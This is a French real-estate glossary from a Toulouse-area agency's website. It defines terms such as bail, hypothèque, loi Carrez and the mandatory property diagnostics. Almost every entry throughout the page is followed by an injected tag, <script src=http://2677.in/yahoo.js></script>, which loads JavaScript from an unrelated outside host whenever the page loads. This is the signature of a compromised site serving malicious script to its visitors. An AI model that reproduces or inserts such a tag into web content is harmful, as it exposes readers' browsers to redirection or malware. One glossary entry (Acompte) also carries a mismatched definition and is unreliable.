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Glossaire
A.D.I.L Association Départementale d'Information sur le Logement<script src=http://2677.in/yahoo.js></script> A.N.A.H. (Agence Nationale pour l'Amélioration de l'Habitat) L'A.N.A.H. subventionne les travaux d'amélioration réalisés dans les logements situés dans des immeubles achevés depuis plus de 15 ans appartenant à des propriétaires privés, donnés en location à titre de résidence principale et assujettis à la taxe additionnelle au droit de bail (TADB), ou exonérés de celle-ci en raison du montant du loyer.<script src=http://2677.in/yahoo.js></script> Abattant Châssis de fenêtre s'ouvrant horizontalement.<script src=http://2677.in/yahoo.js></script> Accolé Se dit lorsque deux éléments sont à la fois juxtaposés et solidaires.<script src=http://2677.in/yahoo.js></script> Acermi Sigle certifiant les isolants thermiques en fonction de leur emploi.<script src=http://2677.in/yahoo.js></script> Acompte Association Départementale d'Information sur le Logement.<script src=http://2677.in/yahoo.js></script> Acquêts Dans la communauté d'acquêts, les biens que les époux possèdent avant le mariage sont considérés comme biens propres (appartenant exclusivement à chacun d'entre eux) et ceux acquis pendant le mariage comme des acquêts (acquis sous le régime).<script src=http://2677.in/yahoo.js></script> Acrotère Petit mur en maçonnerie situé tout autour des toitures terrasses d'immeubles.<script src=http://2677.in/yahoo.js></script> Acte authentique de vente Acte rédigé par un Officier Public (notaire, huissier de justice) définissant les droits et les obligations des parties contractantes afin de formaliser la vente immobilière. Par opposition : acte sous seing privé.<script src=http://2677.in/yahoo.js></script> Acte de nantissement Contrat par lequel un débiteur donne à son créancier un bien, un portefeuille de titres etc... en garantie d'un emprunt. L'acte de nantissement est obligatoirement signifié par huissier, toutefois son coût reste inférieur à une hypothèque.<script src=http://2677.in/yahoo.js></script> Acte sous seing privé Acte rédigé et signé par les parties ne nécessitant pas la validation d'un officier public. Ce terme s'oppose à acte notarié ou authentique.<script src=http://2677.in/yahoo.js></script> Adduction Terme désignant les conduites des eaux<script src=http://2677.in/yahoo.js></script> Adjudication Attribution par le juge ou par un officier public (notaire) d'un immeuble mis aux enchères.<script src=http://2677.in/yahoo.js></script> Administrateur de biens La vocation de l'administrateur de biens est de gérer tout ou partie des éléments composant un patrimoine.<script src=http://2677.in/yahoo.js></script> Agent immobilier Il réalise des transactions immobilières. L'agent immobilier est amené d'une part à intervenir dans la conclusion d'actes juridiques et d'autre part à manier des fonds importants.<script src=http://2677.in/yahoo.js></script> Aggloméré Ce terme désigne à la fois un matériau de maçonnerie formé d'agrégats et de ciment et des panneaux de fibres de bois reconstituées.<script src=http://2677.in/yahoo.js></script> Aide Personnalisée au Logement (A.P.L.) Il s'agit d'une aide à la personne destinée à réduire les dépenses de logement de ses bénéficiaires.<script src=http://2677.in/yahoo.js></script> Allège Partie de mur située sous une fenêtre.<script src=http://2677.in/yahoo.js></script> Allocation Logement (A.L.) Cette allocation permet aux familles de diminuer les charges de logement, sous certaines conditions.<script src=http://2677.in/yahoo.js></script> Apport personnel L'acquisition, la construction d'un logement ou la réalisation de travaux importants nécessitent très souvent un prêt. Dans la plupart des cas, un apport personnel est exigé. Cette somme sert à financer une partie de votre investissement immobilier. Attention, les frais de notaire et de garantie ne sont pas financés par l'organisme prêteur<script src=http://2677.in/yahoo.js></script> Architecte L'architecte est un professionnel de l'immobilier qui intervient sur un projet de construction ou de rénovation. Il prépare, contrôle, dirige les travaux et évalue les coûts.<script src=http://2677.in/yahoo.js></script> Arrhes Somme d'argent versée au moment d'une vente ou d'une réservation de location (saisonnière). Elle s'impute sur le prix prévu lorsque la personne qui l'a versée confirme son choix, ou bien elle est perdue si la personne change d'avis. Par ailleurs, la personne qui a reçu les arrhes doit restituer le double de ce qu'elle a perçu si jamais c'est elle qui se désiste.<script src=http://2677.in/yahoo.js></script> Assemblée générale de copropriétaires L'assemblée générale comprend tous les copropriétaires, chacun a un droit égal d'y participer. A noter, le vendeur, qui est encore propriétaire, dispose du droit de vote pour les grosses réparations qui restent à sa charge et pour les actes de dispositions (ex. : vente d'une partie commune) <script src=http://2677.in/yahoo.js></script> Assurance chômage (ou perte d'emploi) Assurance garantissant à l'emprunteur le remboursement d'une partie des échéances en cas de chômage. Elle est soumise à des critères stricts.<script src=http://2677.in/yahoo.js></script> Assurance décès invalidité/incapacité Elle garantit la prise en charge des sommes restant dues (en cas de décès ou d'invalidité absolue et définitive) ou le remboursement des échéances (pendant la période d'incapacité ou d'invalidité permanente, totale ou partielle). Elle est exigée par l'organisme prêteur pour toute souscription d'un prêt immobilier.<script src=http://2677.in/yahoo.js></script> Assurances responsabilité et dommages-ouvrage L'assurance dommages-ouvrage permet à l'acquéreur, lorsqu'un désordre est constaté et rentre dans le domaine des dommages garantis, d'obtenir réparation sans avoir à rechercher la responsabilité du constructeur.<script src=http://2677.in/yahoo.js></script>
Bail Document définissant les relations contractuelles entre propriétaire et locataire. Certains sont soumis à une réglementation particulière, d'autres relèvent de la libre volonté des parties dans le cadre des dispositions du Code Civil. Ils sont aussi appelés contrat de location.<script src=http://2677.in/yahoo.js></script> Biens immobiliers Sont considérés comme biens de nature immobilière, sous l'expression immeubles, aussi bien les terrains que les maisons, les appartements, les domaines, etc...<script src=http://2677.in/yahoo.js></script> Bow-window Fenêtre en avancée sur un mur de façade permettant d'agrandir une pièce et d'améliorer sa luminosité.<script src=http://2677.in/yahoo.js></script>
C.E.L. (Compte épargne Logement) Toute personne peut détenir à la fois un C.E.L. et un P.E.L. (Plan épargne Logement) à souscrire dans le même établissement, et rassembler les sommes pour une même opération. Cette formule d'épargne logement est très souple comparativement au P.E.L., mais elle est beaucoup moins performante.<script src=http://2677.in/yahoo.js></script> C.O.S. (Coefficient d'occupation des sols) Fixe le nombre de m² de surface hors œuvre nette (SHON) pouvant être construite sur un terrain donné pour 1 m² de terrain. Ce coefficient est fixé dans le plan d'occupation des sols (POS).<script src=http://2677.in/yahoo.js></script> Cadastre Le cadastre est un document établi au niveau des communes qui recense toutes les propriétés foncières et qui fixe leur valeur locative servant de base aux impôts locaux. Chaque mairie dispose d'un service de cadastre qui met à votre disposition ce document. La consultation des documents cadastraux en mairie est gratuite. Voir Taxe Foncière.<script src=http://2677.in/yahoo.js></script> Caution La caution est la personne physique ou morale qui s'engage à garantir le paiement d'un crédit immobilier en cas de défaillance de l'emprunteur.<script src=http://2677.in/yahoo.js></script> Certificat d'urbanisme Il constitue le principal document officiel de renseignement sur les possibilités d'utilisation d'un terrain, ainsi que sur les contraintes architecturales à respecter (formes des toitures, des fenêtres, couleur des tuiles), qu'il soit bâti ou non. Il peut être obtenu en mairie. Il est indispensable d'obtenir un certificat d'urbanisme avant toute opération immobilière.<script src=http://2677.in/yahoo.js></script> Charges de copropriété Il s'agit des frais et dépenses nécessaires au bon fonctionnement d'une copropriété. Chaque immeuble a ses caractéristiques propres.<script src=http://2677.in/yahoo.js></script> Chien-assis Fenêtre en saillie sur la toiture.<script src=http://2677.in/yahoo.js></script> Coefficient d'Occupation des Sols (C.O.S.) Il permet de connaître le nombre maximum de mètres carrés constructibles par rapport à la surface du terrain. C'est le Plan d'Occupation des Sols (P.O.S.) qui fixe pour chaque zone un ou plusieurs C.O.S.<script src=http://2677.in/yahoo.js></script> Co-emprunteur Un contrat de prêt peut être signé par un emprunteur unique ou par un emprunteur et un co-emprunteur. Dans ce cas, ils partagent solidairement les obligations du contrat de prêt.<script src=http://2677.in/yahoo.js></script> Compromis de vente Le compromis de vente (ou promesse synallagmatique) est un terme courant qui sur un plan juridique correspond à une promesse de vente. C'est le 1er acte juridique qui relie et engage à la fois le vendeur et l'acheteur. Il correspond à une vente ferme. Il peut être soit un acte authentique signé chez le notaire, soit un acte sous seing privé.<script src=http://2677.in/yahoo.js></script> Conditions suspensives Contenues dans un avant-contrat (promesse de vente ou compromis de vente), les conditions suspensives suspendent l'exécution du contrat à la survenance d'un évènement. Le contrat ne prendra effet que lorsque l'évènement prévu se réalisera.<script src=http://2677.in/yahoo.js></script> Conseil syndical Il est composé de copropriétaires désignés par l'Assemblée Générale et il a pour objet la conservation de l'immeuble et l'administration des parties communes. Il assiste le syndic et contrôle sa gestion.<script src=http://2677.in/yahoo.js></script> Contrat de Construction de Maison Individuelle (C.C.M.I.) Ce contrat est strictement réglementé par des dispositions d'ordre public destinées à protéger le client maître d'ouvrage. Il s'impose à toute personne qui se charge de la construction d'une maison ne comportant pas plus de 2 logements destinée au client, d'après un plan qu'il a proposé.<script src=http://2677.in/yahoo.js></script> Contrat de groupe La banque vous proposera toujours de bénéficier du contrat de groupe qu'elle a négocié avec une compagnie d'assurances pour ses clients. Ces contrats de groupe assurent actuellement plus de 90% des emprunteurs immobiliers en France.<script src=http://2677.in/yahoo.js></script> Contrat de prêt Une fois acceptée par les 2 parties (prêteur et emprunteur), l'offre de prêt devient le contrat de prêt.<script src=http://2677.in/yahoo.js></script> Copropriété Bien immobilier appartenant à plusieurs personnes séparément. Il est donc divisé en parties communes et en parties privatives.<script src=http://2677.in/yahoo.js></script> Crédit in fine Crédit immobilier à taux fixe, non amortissable, dont vous ne remboursez pendant la durée du crédit que les intérêts. Le capital emprunté reste intact jusqu'au terme du crédit, et à l'échéance, vous le remboursez en une seule fois. Il présente un avantage d'ordre fiscal et s'adresse aux personnes fortement imposées (en général taux marginal d'imposition supérieur à 45%) et est destiné à financer un bien à usage locatif direct ou indirect (SCPI).<script src=http://2677.in/yahoo.js></script>
Débours Ensemble des frais engagés par le notaire pour le compte de son client (cadastre, conservatoire des hypothèques, géomètre…).<script src=http://2677.in/yahoo.js></script> Diagnostic Amiante Diagnostic amiante Vos obligations Le diagnostic amiante est obligatoire pour les biens dont le permis de construire a été délivré avant le 1er juillet 1997. Attention : pour les certificats datant d'avant le 22 août 2002, le diagnostic est à refaire (la loi étant modifiée). Validité : illimité (sauf si modification de loi) La Loi Décret n° 96-97 du 7 février 1996 relatif à la protection de la population contre les risques sanitaires liés à une exposition à l'amiante dans les immeubles bâtis. Les propriétaires des immeubles doivent rechercher la présence de calorifugeages contenant de l'amiante dans ces immeubles. Ils doivent également rechercher la présence de flocages contenant de l'amiante dans ceux de ces immeubles qui ont été construits avant le 1er janvier 1980. En cas de présence de flocages ou de calorifugeages contenant de l'amiante, les propriétaires doivent vérifier leur état de conservation. En fonction du résultat du diagnostic obtenu à partir de la grille d'évaluation mentionnée à l'article précédent, les propriétaires procèdent : -soit à un contrôle périodique de l'état de conservation de ces matériaux dans les conditions prévues -soit, à une surveillance du niveau d'empoussièrement dans l atmosphère -soit à des travaux appropriés engagés dans un délai de douze mois. <script src=http://2677.in/yahoo.js></script> Diagnostic de performance énergétique Diagnostic performance énergétique (DPE) Le diagnostic performance énergétique comprend : Les caractéristiques, le descriptif des équipements et la consommation d'énergie du bien le niveau d'émission de gaz carbonique à effet de serre une incitation à réaliser des travaux d'économie d'énergie Le logement obtient une étiquette énergétique, comme dans l'électroménager, selon ses performances, de " A " la meilleure à " G " la plus mauvaise. Le diagnostic performance énergétique a une durée de validité de 10 ans. Pour les bâtiments à usage principal d'habitation, l'étiquette énergie présente le classement du rapport de la quantité d'énergie primaire du bien à vendre sur la surface habitable du lot, selon une échelle de référence notée de A à G (soit un classement dans une échelle de sept classes). Immeubles concernés par le diagnostic performance énergétique : tous à l'exception : des constructions provisoires prévues pour une durée d'utilisation égale ou inférieure à 2 ans des bâtiments indépendants dont la SHOB est inférieure à 50 m² des bâtiments à usage agricole, artisanal ou industriel, autres que les locaux servant à l'habitation des lieux de culte et monuments historiques.<script src=http://2677.in/yahoo.js></script> Diagnostic Plomb Diagnostic plomb Vos obligations Le diagnostic plomb est obligatoire pour les immeubles datant d'avant le 1er juillet 1949 Validité : 1 an La loi Décret n°99-483 du 9 juin 1999 Décret relatif aux mesures d'urgence contre le saturnisme.Tout signalement doit mentionner l'adresse de l'immeuble ou de la partie d'immeuble dont les occupants peuvent être exposés à un risque d'accessibilité au plomb, ainsi que les causes de ce risque. « Un état des risques d’accessibilité au plomb est annexé à toute promesse unilatérale de vente ou d’achat, à tout contrat réalisant ou constatant la vente d’un immeuble affecté en tout ou partie à l’habitation, construit avant 1948 et situé dans une zone à risque d’exposition au plomb délimitée par le représentant de l’Etat dans le département. » <script src=http://2677.in/yahoo.js></script> Diagnostic Termites (état parasiatire) Diagnostic termites (état parasitaires) Le diagnostic termites est obligatoire dans les zones délimitées par arrêté préfectoral. Validité : 6 mois Loi 99-471 du 08 Juin 1999 Loi tendant à protéger les acquéreurs et propriétaires d'immeubles contre les termites et autres insectes xylophages. En cas de vente d'un immeuble bâti situé dans une zone délimitée en application de l'article 3, un état parasitaire du bâtiment doit être annexé à l'acte authentique constatant la réalisation de la vente. L'état parasitaire doit avoir été établi depuis moins de six mois à la date de l'acte authentique. <script src=http://2677.in/yahoo.js></script> Droit de mutation Montant à verser à l'administration fiscale par une personne qui reçoit un bien par donation, succession ou à titre onéreux<script src=http://2677.in/yahoo.js></script> Droit de préemption Faculté d'acquérir un bien en priorité par rapport à tout autre acheteur<script src=http://2677.in/yahoo.js></script>
Euribor En Anglais : Euro Inter Bank Offered Rate. En Français : Tibeur : Taux Interbancaire Offert en Euros. C'est le taux interbancaire offert entre banques pour la rémunération de dépôts dans la zone euro. <script src=http://2677.in/yahoo.js></script>
Faîtage Partie supérieure de la toiture.<script src=http://2677.in/yahoo.js></script> FFIP : Fichier Français Immobilier des Professionnels Le Fichier Français Immobilier des Professionnels (F.F.I.P) est un outil mis au service des agents immobiliers, appartenant ou non à des réseaux commerciaux, afin de développer leur offre commerciale et de favoriser la rentrée de mandats exlusifs. <script src=http://2677.in/yahoo.js></script> Frais de dossier Ils sont facturés par l'établissement financier prêteur pour l'étude et la mise en place d'un prêt immobilier.<script src=http://2677.in/yahoo.js></script> Frais de mainlevée Si vous devez revendre un logement avant la fin des remboursements du prêt ou moins de 2 ans après la dernière échéance, il faut, si le bien est hypothéqué ou garanti par le privilège de prêteur de deniers, obtenir la mainlevée auprès du conservateur des hypothèques<script src=http://2677.in/yahoo.js></script>
Garantie biennale La garantie biennale (ou garantie de bon fonctionnement) couvre les éléments d'équipement non incorporés, par opposition aux éléments de construction couverts par la garantie décennale. Sa durée est de 2 ans, à compter de la date de réception des travaux.<script src=http://2677.in/yahoo.js></script> Garantie de parfait achèvement Elle couvre pendant une durée d'une année (à compter de la date de réception des travaux), les vices apparents ou malfaçons ayant fait l'objet de réserves inscrites au procès-verbal de réception, et/ou les désordres apparus après la réception quels qu'ils soient.<script src=http://2677.in/yahoo.js></script> Garantie décennale Cette garantie obligatoire couvre tous les vices de construction compromettant la solidité de l'ouvrage ou le rendant impropre à sa destination pendant 10 années. Cette garantie couvre également tous les dommages qui affectent la solidité des éléments d'équipements indissociables du bâtiment. Le point de départ de la garantie décennale est la réception de la maison par le maître de l'ouvrage<script src=http://2677.in/yahoo.js></script>
Hérisson Blocs de matériaux ou gros cailloux posés à même le sol, sous le radier de fondation, destinés à assurer une première isolation contre le froid.<script src=http://2677.in/yahoo.js></script> Hourdis Eléments préfabriqués que l'on place sous les solives d'un plancher pour assurer le remplissage et la sous-face de ce plancher.<script src=http://2677.in/yahoo.js></script> Hypothèque L'hypothèque sert à garantir le paiement d'une dette contractée sur un bien immobilier. C'est la garantie qui est la plus fréquemment demandée. Elle peut être prise quel que soit le bien. Si le bien sur lequel est prise la garantie existe (ancien ou neuf achevé), pour des raisons de coût, il est préférable d'inscrire un privilège de prêteurs de deniers.<script src=http://2677.in/yahoo.js></script>
Impôt de Solidarité sur la Fortune (I.S.F.) Sont redevables de l'impôt de solidarité sur la fortune les personnes physiques, quelle que soit leur nationalité, propriétaires à la date du 1er janvier 2002 d'un patrimoine taxable dont la valeur nette est supérieure à 716.510 €, que leur domicile fiscal soit situé en France ou à l'étranger. La personne fiscalement domiciliée en France est soumise à l'I.S.F. sur l'ensemble de ses biens situés en France et à l'étranger.<script src=http://2677.in/yahoo.js></script> Indivision Cette formule d'acquisition permet à des personnes sans lien de parenté de partager la propriété d'un logement. Elle est répartie soit à part égale (chacun en possède la moitié), soit de façon inégale (l'un possède 70%, l'autre 30% par exemple).<script src=http://2677.in/yahoo.js></script>
Le Prêt à taux Zéro D'après le décret 2005-69 du 31 janvier 2005 Les prêts à taux zéro peuvent être accordés dans les cas suivants : Pour les personnes dont la résidence principale a été rendue inhabitable par une catastrophe naturelle ou technologique, la construction d'un logement ou l'acquisition d'un logement en vue de sa première occupation, l'acquisition d'un logement ayant déjà été occupé et éventuellement les travaux d'amélioration nécessaires. "L'emprunteur doit apporter la preuve qu'il n'a pas été propriétaire au cours des deux dernières années précédant l'avance ". "L'attribution de l'avance est déterminée en fonction du montant total des ressources de l'ensemble des personnes destinées à occuper le logement financé, du nombre de ces personnes et de la localisation du logement". Les logements acquis à l'aide d'un prêt à taux zéro doivent répondre à des normes de surface et d'habitabilité. Ces normes concernent : -l'étanchéité - les parties communes : en bon état d’entretien - les canalisations - les dimensions: le logement comporte au moins une pièce principale et une pièce de service (soit salle d'eau, soit cabinet d'aisance).La surface habitable d'un logement, définie, est égale ou supérieure à 14 mètres carrés. La moyenne des surfaces habitables des pièces principales est de 9 mètres carrés au moins - un coin cuisine pouvant éventuellement être aménagé dans la pièce principale.La pièce à usage de cuisine comporte un évier avec siphon, raccordé à une chute d'eaux usées, sur lequel est installée l'eau potable (chaude et froide),et doit être aménagé de manière à pouvoir recevoir un appareil de cuisson à gaz ou électrique. -les ouvertures et ventilations: toutes les pièces principales des logements sont pourvues d'ouvertures donnant à l'air libre. Lorsqu'un local, tel que la cuisine, le cabinet d'aisance, la salle d'eau, ne dispose pas de fenêtre, il doit être pourvu d'un système d'évacuation de l'air vicié débouchant à l'extérieur du bâtiment, tel que gaine de ventilation à tirage naturel (verticale) ou mécanique (horizontale ou verticale). - l'équipement sanitaire:tout logement comporte un cabinet d'aisance toutefois, le WC pourra être situé dans la salle d'eau. -le chauffage: le logement comporte soit un chauffage à eau chaude centralisé et, dans le cas d'un chauffage individuel, celui-ci est équipé de dispositifs de régulation,un chauffage électrique, un chauffage par un système thermodynamique, ou un équipement de chauffage fonctionnant au bois ou autres biomasses. <script src=http://2677.in/yahoo.js></script> Loi Besson Le dispositif Besson vous permet d'investir dans l'immobilier (neuf ou ancien) à but locatif en bénéficiant de réels avantages fiscaux. L'une de ses grandes particularités est d'avoir une durée de vie illimitée. Pour prétendre au bénéfice de ce dispositif entré en vigueur depuis le 1er janvier 1999, l'acheteur doit s'engager par convention avec l'Etat à louer le logement en respectant certaines obligations (statut du Bailleur Conventionné).<script src=http://2677.in/yahoo.js></script> Loi Carrez Loi Carrez Cette loi oblige de mentionner la superficie privative des lots de copropriété dans tout contrat de vente (promesse de vente ou compromis) et dans tout acte de vente. Si la notion de "lot de copropriété" concerne principalement des appartements, elle s'applique aussi aux maisons formant des lots de copropriété.La loi du 18/12/96 impose la mention de la superficie privative dans tous les avant-contrats et contrats de vente. Vos obligations Le métrage loi Carrez est obligatoire pour les biens en copropriété. Validité : permanente “Toute promesse unilatérale de vente ou d’achat, tout contrat réalisant ou constatant la vente d’un lot ou d’une fraction de lot doit mentionner, à peine de nullité, la surface privative de ce lot ou de cette fraction de lot.” “La superficie de la partie privative d’un lot ou d’une fraction de lot mentionnée à l’article 46 de la loi du 10/07/1965 est la superficie des planchers des locaux clos et couverts après déduction des surfaces occupées par les murs, cloisons, marches et cages d’escalier, gaines, embrasures de portes et de fenêtres. Il n’est pas tenu compte des planchers des parties des locaux d’une hauteur inférieure à 1,80 m ». <script src=http://2677.in/yahoo.js></script> Loi Neiertz Dans le cadre du surendettement des familles, la loi Neiertz regroupe 3 objectifs : développer la prévention du surendettement, organiser une procédure de règlement des problèmes liés au surendettement des familles et responsabiliser davantage les prêteurs et les emprunteurs (cette loi s'applique uniquement pour les personnes physiques).<script src=http://2677.in/yahoo.js></script> Loi Périssol Cette loi permet de réaliser un investissement dans l'immobilier (logements neufs achetés clés en main ou en VEFA) et ce, à but locatif. Ce dispositif permet à l'acheteur de bénéficier d'une réduction d'impôts. Attention, depuis le 1er Janvier 1999, la Loi Périssol est remplacée par la Loi Besson avec une limitation des avantages fiscaux. Voir Loi Besson.<script src=http://2677.in/yahoo.js></script> Loi Pons Il s'agit d'un régime de défiscalisation. Cette loi s'adresse à des particuliers souhaitant acquérir un bien immobilier neuf, à but locatif (minimum 6 ans), dans les DOM-TOM. L'investissement permet de réaliser une économie d'impôts totale de 45% du prix d'acquisition. Les secteurs éligibles sont les suivants : Industrie, pêche, hôtellerie, tourisme, énergies nouvelles, agriculture, bâtiment et travaux publics, transports, artisanat, maintenance au profit d'activités industrielles, production et diffusion audiovisuelles et cinématographiques ou réalisant des investissements nécessaires à l'exploitation d'une concession de service public local à caractère industriel ou commercial. Ce type d'investissement s'adresse à des foyers fiscaux dont la tranche supérieure de l'impôt avoisine 50% et plus <script src=http://2677.in/yahoo.js></script> Loi Scrivener La loi dite Loi Scrivener, n° 79-596 du 13 juillet 1979, fait partie du Code de la Consommation (L.312-1 et suivants). Elle a pour but de protéger le consommateur contre les dangers du crédit. Elle pose des règles impératives qui limitent la liberté contractuelle en matière de crédit immobilier. Elle s'applique à tous les prêts concernant l'achat d'immeubles à usage d'habitation ou à usage professionnel et d'habitation, l'achat de terrains à construire, les travaux de rénovation, ou construction pour un montant supérieur à 21.343 €. Peu importe le but de l'opération, habitation ou investissement. <script src=http://2677.in/yahoo.js></script>
loggia Balcon couvert en retrait par rapport à la façade.<script src=http://2677.in/yahoo.js></script>
Nu-propriétaire Le propriétaire d'un bien faisant l'objet d'un usufruit est appelé le nu-propriétaire.<script src=http://2677.in/yahoo.js></script>
Offre de prêt (ou OPC : Offre Préalable de Crédit) Voir Loi Scrivener. Votre demande de prêt doit être déposée auprès de l'établissement de crédit de votre choix. Celui-ci vous adresse, gratuitement et par voie postale, une offre de prêt dont le contenu est réglementé. Cette offre engage l'établissement de crédit pendant trente jours minimum à compter de sa réception. <script src=http://2677.in/yahoo.js></script>
P.V.C Polychlorure de vynile. Matériau très utilisé en construction pour ses qualités : résistant à la corrosion, isolant phonique et thermique, léger. Il est souvent employé dans la construction des canalisations et des profilés des fenêtres.<script src=http://2677.in/yahoo.js></script> Pergola Petite construction à claire-voie.<script src=http://2677.in/yahoo.js></script> Plan d'Occupation des Sols (P.O.S.) Le P.O.S. est un document consultable en Mairie, qui fixe les règles d'urbanisme applicables au territoire d'une commune et il permet d'organiser et de planifier son développement. En tant qu'acquéreur, il vous donne le moyen de savoir si un terrain est constructible ou non et il indique la destination future de chaque parcelle du territoire communal. Il est élaboré à l'initiative des communes mais la loi ne les oblige pas à se doter d'un tel document. A l'heure actuelle, plus de 15.000 communes disposent d'un P.O.S. approuvé<script src=http://2677.in/yahoo.js></script> Prêt Cautionné Le prêt immobilier cautionné vous permet de réduire notablement les dépenses de garanties en évitant les frais de prise d'hypothèque et de mainlevée. Il fait intervenir un établissement spécialisé dans le cautionnement tel que le Crédit Logement. Nous pouvons citer d'autres sociétés spécialisées comme : la Socami pour la Banque Bred (groupe banques populaires), la Camca pour le Crédit Agricole.<script src=http://2677.in/yahoo.js></script> Privilège de Prêteurs de Deniers (P.P.D.) Il existe deux sortes de garanties réelles : l'hypothèque conventionnelle et le privilège de prêteurs de deniers. Le P.P.D. ne peut s'appliquer qu'aux biens existants, il ne peut donc pas être utilisé pour les ventes sur plan (Vente en l'Etat Futur d'Achèvement) ou pour la construction d'une maison individuelle.<script src=http://2677.in/yahoo.js></script>
Règlement de copropriété Il doit obligatoirement être établi pour tout immeuble en copropriété. Il a pour objet de fixer la destination des parties privatives comme des parties communes, de déterminer les conditions de leur jouissance et d'indiquer les règles relatives à l'administration des parties communes.<script src=http://2677.in/yahoo.js></script>
S.H.O.N. / S.H.O.B. La surface Hors Oeuvre (entendez en DEHORS de l'oeuvre) permet de calculer la Surface Hors Oeuvre Nette (S.H.O.N.). Cette surface est à la base du calcul des droits à construire (permis de construire) ainsi que des différentes taxes liées au construit (taxe d'habitation, taxe locale d'équipement).<script src=http://2677.in/yahoo.js></script> Servitudes Le droit de propriété a des limites que l'on appelle servitudes. La servitude est donc attachée à un immeuble et non au propriétaire d'un immeuble. Chaque propriétaire devra la respecter. Il pourra en profiter ou en supporter les conséquences<script src=http://2677.in/yahoo.js></script> Spa Petit bassin à remous, appelé également Jacuzzi.<script src=http://2677.in/yahoo.js></script>
T.E.G. (Taux Effectif Global) Il mesure le coût total d'un prêt. Il comprend les intérêts d'emprunt, les frais de dossier, les frais d'assurance et les frais qui peuvent intervenir directement ou indirectement dans l'opération.<script src=http://2677.in/yahoo.js></script> Taux Fixe Taux d'intérêt du prêt ne subissant aucune variation pendant toute la durée du prêt.<script src=http://2677.in/yahoo.js></script> Taux révisable (ou variable) Taux d'intérêt de prêt qui évolue à la hausse comme à la baisse en fonction de d'un indice défini. C'est un choix moins coûteux au départ, plus souple mais comportant un risque<script src=http://2677.in/yahoo.js></script> Taxe d'Habitation Elle est due en principe par tout occupant d'un logement meublé, que ce soit en qualité de propriétaire ou de locataire et vivant dans le logement au 1er janvier de l'année d'imposition<script src=http://2677.in/yahoo.js></script> Taxe Foncière Elle est due par la personne propriétaire au 1er janvier de l'année d'imposition. En cas de vente de l'immeuble, le vendeur et l'acquéreur peuvent prévoir, dans l'acte de vente, le partage de cet impôt entre eux.<script src=http://2677.in/yahoo.js></script> Travertin Pierre calcaire et compacte souvent utilisée pour revêtir les sols des entrées d'immeubles.<script src=http://2677.in/yahoo.js></script>
Usufruit L'usufruit peut se définir comme le droit de jouir d'une chose appartenant à autrui à la condition de conserver cette chose. Le bénéficiaire de l'usufruit est appelé l'usufruitier. L'usufruit peut être consenti pour une période déterminée ou à vie. Le propriétaire d'un bien faisant l'objet d'un usufruit est appelé le nu-propriétaire.<script src=http://2677.in/yahoo.js></script>
Vente en l'Etat Futur d'Achèvement (V.E.F.A.) Toute vente d'un immeuble à construire ainsi que du terrain doit être régie soit par un contrat de vente en l'état futur d'achèvement, soit par un contrat de vente à terme. Par le V.E.F.A., l'acquéreur devient immédiatement propriétaire du sol et des constructions déjà réalisées et propriétaire des constructions à venir au fur et à mesure de l'avancement des travaux<script src=http://2677.in/yahoo.js></script> Véranda Construction légère totalement ou en partie vitrée, réalisée habituellement à partir d'une structure en bois, en métal ou en PVC.<script src=http://2677.in/yahoo.js></script> Verrière Surface vitrée importante située soit en toiture, soit en façade.<script src=http://2677.in/yahoo.js></script> Vice caché Un vice caché est un défaut qu'on ne peut pas déceler en examinant soigneusement le bien (meuble ou immeuble), sans avoir besoin de recourir aux services d'un expert. Lorsqu'un vice caché rend un bien impropre à l'usage auquel il est destiné ou qu'il en réduit considérablement l'usage, l'acheteur de ce bien peut avoir des recours contre son vendeur. Un vice caché peut affecter tant un bien meuble (automobile, électroménager) qu'un immeuble (maison, appartement).<script src=http://2677.in/yahoo.js></script> Retour Haut de page |
| Spécialiste de l'est Toulousain - Membre d'un réseau nationalMise à jour : 06/09/2010
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